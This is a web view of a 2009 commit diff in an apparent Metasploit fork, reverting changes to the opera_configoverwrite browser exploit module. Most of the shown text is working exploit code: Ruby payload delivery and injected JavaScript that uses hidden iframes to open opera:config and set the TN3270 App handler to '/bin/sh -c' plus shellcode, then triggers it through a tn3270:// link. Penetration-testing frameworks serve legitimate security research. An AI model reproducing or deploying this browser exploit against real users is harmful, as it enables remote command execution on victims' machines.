adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

revert overzealous commit

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@6961 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee
2009-08-18 04:53:35 +00:00
parent 08d50e0a5b
commit bd2da7c12a
6 changed files with 73 additions and 127 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/exploits/multi/browser/opera_configoverwrite.rb
+31 -40
View File
@@ -55,12 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Targets' =>
[
[ 'Opera < 9.10 Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
#[ 'Opera < 9.10 Windows',
# {
# 'Platform' => 'win',
# 'Arch' => ARCH_X86,
# }
#],
[ 'Opera < 9.10 Unix Cmd',
{
'Platform' => 'unix',
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_uri(cli, request)
case request.uri
when /payload/
when /payload$/
print_status("Generating payload for #{target} #{target.platform}")
# Re-generate the payload
if ((p = regenerate_payload(cli)) == nil)
@@ -86,10 +86,12 @@ class Metasploit3 < Msf::Exploit::Remote
send_not_found(cli)
return
end
content = Msf::Util::EXE.to_win32pe_vbs(p.encoded)
# NOTE: Change this to the new API when commiting to trunk
#content = Msf::Util::EXE.to_win32pe(p.encoded)
#content = Rex::Text.to_win32pe(p.encoded)
content = "foo"
print_status("Generated #{content.length} bytes")
#headers = { 'Content-Type' => 'application/octet-stream' }
headers = { 'Content-Type' => 'text/html' }
headers = { 'Content-Type' => 'application/octet-stream' }
when get_resource
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
content = "<body><script>"
@@ -111,7 +113,6 @@ class Metasploit3 < Msf::Exploit::Remote
p = regenerate_payload(cli).encoded
#print_status(p)
shellcode = Rex::Text.to_hex(p, "%")
shellcode = Rex::Text.to_hex("foo", "%")
js = <<ENDJS
blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
@@ -120,35 +121,25 @@ blank_iframe.setAttribute('style', 'display:none');
document.body.appendChild(blank_iframe);
blank_iframe_window.eval(
"config_iframe = document.createElement('iframe');" +
"config_iframe.setAttribute('id', 'config_window');" +
"config_iframe.src = 'opera:config';" +
"document.body.appendChild(config_iframe);" +
"exe_iframe = document.createElement('img');" +
"exe_iframe.src = '#{get_resource}?payload.jpg';" +
"exe_iframe.onload = function () {" +
" cache_iframe = document.createElement('iframe');" +
" cache_iframe.src = 'opera:cache';" +
" cache_iframe.onload = function ()" +
" {" +
" config_window.eval" +
" (\\"" +
" old_handler = opera.getPreference('Network','TN3270 App');" +
" shellcode = '#{shellcode}';" +
" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
" app_link = document.createElement('a');" +
" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
//" app_link.click();" +
" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
" \\");" +
" };" +
" document.body.appendChild(cache_iframe);" +
"};" +
"exe_iframe.onerror = function (e) {" +
" for (var i in e) {" +
" alert(i);" +
" }" +
"};" +
"document.body.appendChild(exe_iframe);" +
"config_iframe.setAttribute('id', 'config_iframe_window');" +
"config_iframe.src = 'opera:config';" +
"document.body.appendChild(config_iframe);" +
"cache_iframe = document.createElement('iframe');" +
"cache_iframe.src = 'opera:cache';" +
"cache_iframe.onload = function ()" +
"{" +
" config_iframe_window.eval" +
" (\\"" +
" old_handler = opera.getPreference('Network','TN3270 App');" +
" shellcode = '#{shellcode}';" +
" opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
" app_link = document.createElement('a');" +
" app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5)+5)}');" +
" app_link.click();" +
" setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
" \\");" +
"};" +
"document.body.appendChild(cache_iframe);" +
"");
ENDJS